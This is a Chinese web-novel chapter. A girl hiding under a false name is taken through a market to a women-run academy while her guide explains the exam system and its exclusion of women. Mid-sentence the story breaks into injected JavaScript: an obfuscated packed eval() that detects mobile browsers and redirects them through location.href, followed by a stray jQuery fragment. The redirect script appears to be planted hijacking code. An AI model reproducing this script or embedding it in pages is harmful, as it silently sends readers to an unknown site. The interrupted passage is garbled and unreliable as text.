被陈艳芳调侃为“娄半呆”的少女身姿挺拔如松,面容俊秀,长眉修目,顾盼间神采飞扬。
“陈姐,我来了!这位是?”蓝袍的少女叉手作揖,目光自然地从陈艳芳流转到王桐花身上。
“新认的妹妹,跟你一样,是个实心眼,身手也不赖。打了七只兔子来卖,每只都完完整整的。”陈艳芳亲热地揽住王桐花的肩头,补充道,“可惜呀,不识字。喏,你领去给张大才子瞧瞧,看有没有读书的资质咯。”
闻言,娄姓少女向王桐花作揖:“原来是妹妹。我姓娄,单名竞,表字允礼。叫我娄允礼就好。妹妹怎么称呼?”
王桐花还没弄明白自己怎么成了老板的妹妹,就被娄允礼正经地行了一礼。她忙学着娄允礼的样子还礼,嘴上应答:“我叫刘英兰。叫我,刘英兰就好。”
陈艳芳在一边扭过头暗自憋笑,转眼看见饭馆客人已经多起来,就把王桐花往娄允礼那儿一推,没成想王桐花脚下跟生了根似的,没推动。王桐花回头,疑惑地看陈艳芳,陈艳芳顺势揉王桐花的脸,把桂蜜膏的香味抹了王桐花满脸。
“丫头,你跟着娄半呆,哦,应该是你娄姐姐——去找张学究。找完了别急着走,我还有话同你说,你再回这儿一趟。听到没有?”说完,陈艳芳没管王桐花还想说些什么的嘴巴,朝饭店走去招呼客人去了。
“看来陈姐顾不上咱们了。别担心,见完张老师,我陪你一起来找陈姐。”娄允礼示意王桐花跟上。
“对了,你可以直接我娄姐姐。”
娄允礼小小声说完后半句话,悄悄用余光瞥王桐花的神色,见王桐花还在看陈艳芳,多半是没听见那句小声念叨。娄允礼屈指搔搔下巴,面色微红,咳嗽两声掩盖过去,假装自己刚才没说话。
王桐花觉得这两个人都不听人说话的,一个二个都是转身就走,不给人留分毫余地。
王桐花是真的想学认字。所以她快走几步,跟上娄允礼的脚步。
王桐花想学认字,是因为认字的人好像很厉害,很了不起。
村里的先生,就是给弟弟取名的那位先生,听说是什么童生?村里人拿不定主意的时候都爱找他。每每这种时候,先生还真能摇头晃脑说上半天,虽然王桐花听不太懂他到底在说什么。什么“圣人云”,什么“古有云”,什么“有记载”,好像都是别人的话。先生说完一句别人的话,就要顿一下,把闭上的眼睛睁开一线,扫视一圈所有人沉思的表情,再用半死不活的声音解释。
先生的解释,王桐花还是听不懂。她觉得其他人也不懂,但是大家都会在先生解释之后,深以为然地点头。王桐花便跟着点头,生怕自己点慢了被发现。
张老师说话也是这样吗?张老师会不会嫌弃自己太笨,不愿意教?
王桐花想到方才得到的三百文,心下稍安。她付得起学费。不够的话,她还可以多打些猎物补交。而且,她应该不笨的。她能一个人从家里逃出来,一个人建木屋。木屋住到现在,没塌过,也不怎么漏风漏雨。这起码说明她很会建房子吧?
娄允礼向王桐花介绍起周围的摊贩,她看得出来王桐花是第一次进城。
王桐花眼神亮晶晶地听娄允礼说话。口袋里的阿祝也感兴趣的很,咕噜噜地冒泡。王桐花用手罩住装着阿祝的小袋子。有王桐花的手遮挡,阿祝一下子变得肆无忌惮,兴奋地张牙舞爪,奋勇地涌出布袋,触碰王桐花的手掌。
王桐花睁大眼睛,微笑起来。
“英兰妹妹,你用过早饭了吗?要不要买些小吃?”
娄允礼放慢脚步,和王桐花并肩而行。
阿祝缩回布袋,王桐花不动声色地收回手,摇摇头,道:“我不饿。”
娄允礼不强求。
娄允礼和王桐花在热闹的早市快步行走,炊饼的熟香、芝麻的焦香和蔬果的清香挽留不住二人匆匆的步伐。
娄允礼也是个不擅长说话的。她绞尽脑汁想开启新话题,但她不愿调侃别人当谈资,也不想沾染上打探刘英兰妹妹的隐私之嫌。思来想去,她清清嗓子,决定对她们马上要去见的张老师做个简单介绍。
“我给你讲讲张老师吧。”
王桐花听到这话,来了精神。她正为市集的喧嚣心烦,所有人都在说话,偏偏她又能听见所有人讲话,王桐花的注意力被扯来扯去的。王桐花集中精力听娄允礼说话,其他人的声音便弱了下去。
“张老师年少时试童子科,诵经作赋皆驾轻就熟,对天子提问对答如流,被封为宜人。后入宫为官,官至掌记。”娄允礼说上这么一段,王桐花听得云里雾里。果然读书人说话都是一个样,抛出一大堆听不懂的词把人砸晕。
娄允礼见状轻笑一声,将些个新鲜名词一一详细向王桐花解释。与村里的先生不同,娄允礼的解释简单易懂多了。
“我大央朝推行科举制度,能在科举试中取得名次的人,无论出身都可进朝为官。朝廷定期举办解试、省试和殿试,三级考试一层层选拔人才。除却这三场考试外,还有童生试,也不论出身,但考生年岁不得超过十二岁。”说到这里,娄允礼停顿了一会儿,看王桐花没有流露出不懂的神色,才继续说下去,“张老师九岁那年参加童生试。陛下亲自垂询,封为宜人。”
娄允礼提到“陛下”时,拱起手对天边拜拜。王桐花却没错过娄允礼下撇的嘴角。
她很熟悉这个神情,爹常常这么看他自己以外的家人,包括奶奶。轻蔑的神情。
“宜人是什么官?”王桐花问道。九岁就能通过皇帝的考核,这很了不起!
闻言,娄允礼微笑,眼底却冰冷,她说:“宜人不是官位,没有实权。它是命妇的品级,是一种称号,一种身份。通常,官员的母亲或者妻子会被封为命妇。”
王桐花皱起眉毛,不解道:“可是参加考试的是张老师自己啊。不是说为官不必论出身吗?”
娄允礼收起笑容,漫不经心地瞟一眼地面,摇头摊手,道:“因为这不是出身的事儿。”
王桐花更加不解,她追问:“那是因为什么?”
娄允礼神秘地俯下身,迁就王桐花的身高,在她耳边低语:“因为张老师是女人。”
语毕,娄允礼直起身子,脸上复又挂起浮于表面的笑:“那之后,张老师仍然苦读。十六岁那年她隐瞒身份入宫,从普通宫女做到掌记一职,就是管理文书的工作。后来,她主动显露身份,官家大为感动,封她为淑人。淑人也是命妇的品级,是仅次于夫人的品级,很高了。”
王桐花皱起的眉毛还是皱着,没有放松,她觉得娄允礼关于皇帝的话语怪怪的。她问:“张老师不是在宫里当官吗,我们现在是要进宫吗?”即便是王桐花也晓得,贵人们居住的宫殿是寻常出入不得的。
娄允礼耸耸肩:“张老师不在宫中任职了。受
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024985|194360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
封淑人后,她就出宫去,开起书院。若不是张老师家中有丧,万岁爷还想为她指门婚事。”
王桐花听得有点晕乎。陛下、官家、万岁爷,娄允礼对皇帝的称呼一句话一变。
她听得出,张老师当时的情况一定很不好。但娄允礼故事讲得粗糙,隐去诸多细节,王桐花勉强听个囫囵。
“书院就在那儿,看到了吗,英兰?”
王桐花顺着娄允礼指的方向看去,书院的样子跟她想象的气派模样大不相同。
四进三纵的院落,灰墙乌瓦,栗色木门上悬着一方牌匾。瞅着颇为冷寂,明明坐落在城中,却仿佛和周围隔着一层看不见的屏障。市集的热闹穿不过石垒的院墙。
娄允礼指着牌匾,一字一字念:“袖云书院。”
王桐花跟着念:“袖云书院。”
娄允礼继续往前走,王桐花扯住娄允礼的衣袖。娄允礼“嗯?”一声,回身与王桐花对视,不晓得这个寡言的小妹妹有什么话要说。
王桐花直视娄允礼的眼睛,小声地问:“张老师是被皇上赶出宫的吗?”
娄允礼面无表情地看着王桐花。
在王桐花丝毫不后退的目光里,娄允礼冷峻的眉眼逐渐放松。
寥落的书院前,喧嚣的市集中,身着蓝袍的挺拔少女向身量矮小的女孩俯身耳语,二人之外,唯有风得以知晓她们的对话。
娄允礼问:“你觉得皇帝算什么?”
王桐花答:“所有人的主子。所有人的爹。”
娄允礼用一只温热的掌抚摸王桐花的头,另一只手用来捂住她自己的嘴巴,堵住要溢出来的笑声。
半晌,娄允礼可算是止住要蹦出喉咙的笑声。她拉住王桐花的手,冲她粲然一笑——这次是真心实意的微笑。
“张老师会喜欢你的。”娄允礼俏皮地眨眼,“怪不得陈姐那么喜欢你,我也喜欢上你了,英兰妹妹。走吧,我们去见张老师。”
王桐花紧张地问:“我该把学费交给谁?三百文够吗?不够的话可以用猎物补吗?”
娄允礼歪头,神色凝重:“三百文啊……好像数目不太对。”
王桐花更紧张了,她停下脚步,反手拉住娄允礼,不让娄允礼继续往前走:“差多少?”
娄允礼拉一把王桐花,惊讶地发现她的力气居然比不过看起来瘦瘦小小可可怜怜的王桐花。
“差二百九十七文。”娄允礼挤眉弄眼,她的眉毛很是灵活,“张老师收三文钱。”
王桐花愣在原地。
饭馆后厨里,钱厨师低声问陈艳芳:“你就这么把她送到张师那儿去?她报的名字都是假的。”
陈艳芳倚在灶台上,一副身上没长骨头的样子。
“那么可怜的小孩,一个人偷偷溜进城,还努力打兔子来卖,多让人心疼啊。有戒心,是好事。”
前堂又有人招呼她,“老板娘”、“老板娘”的喊。陈艳芳走向前堂,众人的目光黏在她的肌肤上,都恨不得能从上面刮二两油下来。陈艳芳很久之前就不会因为他们的目光生气了,她一发脾气,他们就要反过来说她在发疯。她只不过笑得大声些,他们还要说自己是疯婆子。
陈艳芳觉得自己是疯了,不然她怎么还能对着这些人笑呢?
陈老板的招牌笑声响亮地在饭店里回荡。
不过呢,这是她的地盘,她爱怎么笑就怎么笑。